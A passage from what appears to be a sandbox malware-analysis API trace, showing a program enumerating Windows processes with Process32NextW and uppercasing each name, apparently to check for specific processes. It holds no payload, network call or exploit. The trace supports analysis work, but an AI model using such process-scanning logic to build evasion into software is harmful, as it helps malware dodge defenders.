(pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.721] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.721] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.722] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.722] lstrlenW (lpString="svchost.exe") returned 11 [0251.722] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.722] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.722] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.722] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.723] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.723] lstrlenW (lpString="svchost.exe") returned 11 [0251.723] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.723] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.723] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.723] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.724] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0251.724] lstrlenW (lpString="spoolsv.exe") returned 11 [0251.724] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0251.724] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0251.724] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0251.724] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.724] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.724] lstrlenW (lpString="svchost.exe") returned 11 [0251.724] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.724] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.724] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.725] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.725] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0251.725] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0251.725] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0251.725] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0251.725] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0251.725] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.726] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0251.726] lstrlenW (lpString="svchost.exe") returned 11 [0251.726] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0251.726] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.726] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0251.726] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.727] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0251.727] lstrlenW (lpString="sihost.exe") returned 10 [0251.727] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0251.727] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0251.727] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0251.727] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.727] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0251.727] lstrlenW (lpString="taskhostw.exe") returned 13 [0251.727] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0251.728] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0251.728] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0251.728] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.728] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0251.728] lstrlenW (lpString="explorer.exe") returned 12 [0251.728] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0251.728] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0251.728] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0251.728] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.729] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0251.729] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0251.729] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0251.729] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0251.729] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0251.729] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.730] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0251.730] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0251.730] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0251.730] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0251.730] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0251.730] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.731] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0251.731] lstrlenW (lpString="SearchUI.exe") returned 12 [0251.731] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0251.731] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0251.731] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0251.731] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0251.731] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0251.731] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0251.731] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0251.731] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0251.731] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0251.732] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0251.732] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0251.732] lstrlenW (lpString="nice cu.exe") returned 11 [0251.732] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0251.732] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0251.732] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0251.732] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0251.733] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0251.733] lstrlenW (lpString="video_reviewing.exe") returned 19 [0251.733] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0251.733] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0251.733] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0251.733] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0251.734] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0251.734] lstrlenW (lpString="shame.exe") returned 9 [0251.734] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0251.734] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0251.734] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0251.734] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0251.734] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0251.734] lstrlenW (lpString="fantasy.exe") returned 11 [0251.734] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0251.734] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0251.734] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0251.734] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0251.735] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0251.735] lstrlenW (lpString="accepting.exe") returned 13 [0251.735] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0251.735] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0251.735] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0251.735] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0251.736] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0251.736] lstrlenW (lpString="authorized.exe") returned 14 [0251.736] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0251.736] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0251.736] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0251.736] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0251.737] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0251.737] lstrlenW (lpString="isp.exe") returned 7 [0251.737] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0251.737] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0251.737] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0251.737] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0251.737] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0251.737] lstrlenW (lpString="cowboy.exe") returned 10 [0251.737] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0251.737] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0251.737] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0251.738] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0251.738] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0251.738] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0251.738] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0251.738] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0251.738] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0251.738] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0251.739] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0251.739] lstrlenW (lpString="thats.exe") returned 9 [0251.739] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0251.739] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0251.739] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0251.739] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0251.740] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0251.740] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0251.740] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0251.740] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0251.740] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0251.740] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0251.741] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0251.741] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0251.741] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0251.741] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0251.741] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0251.741] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0251.741] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0251.741] lstrlenW (lpString="actual.exe") returned 10 [0251.741] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0251.741] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0251.741] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0251.741] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0251.742] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0251.742] lstrlenW (lpString="potter larry.exe") returned 16 [0251.742] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0251.742] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0251.742] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0251.742] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0251.743] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0251.743] lstrlenW (lpString="contents what certificate.exe") returned 29 [0251.743] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0251.743] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0251.743] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0251.743] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0251.743] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0251.743] lstrlenW (lpString="cindy.exe") returned 9 [0251.743] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0251.743] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0251.744] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0251.744] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0251.744] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0251.744] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0251.744] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0251.744] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0251.744] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0251.744] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 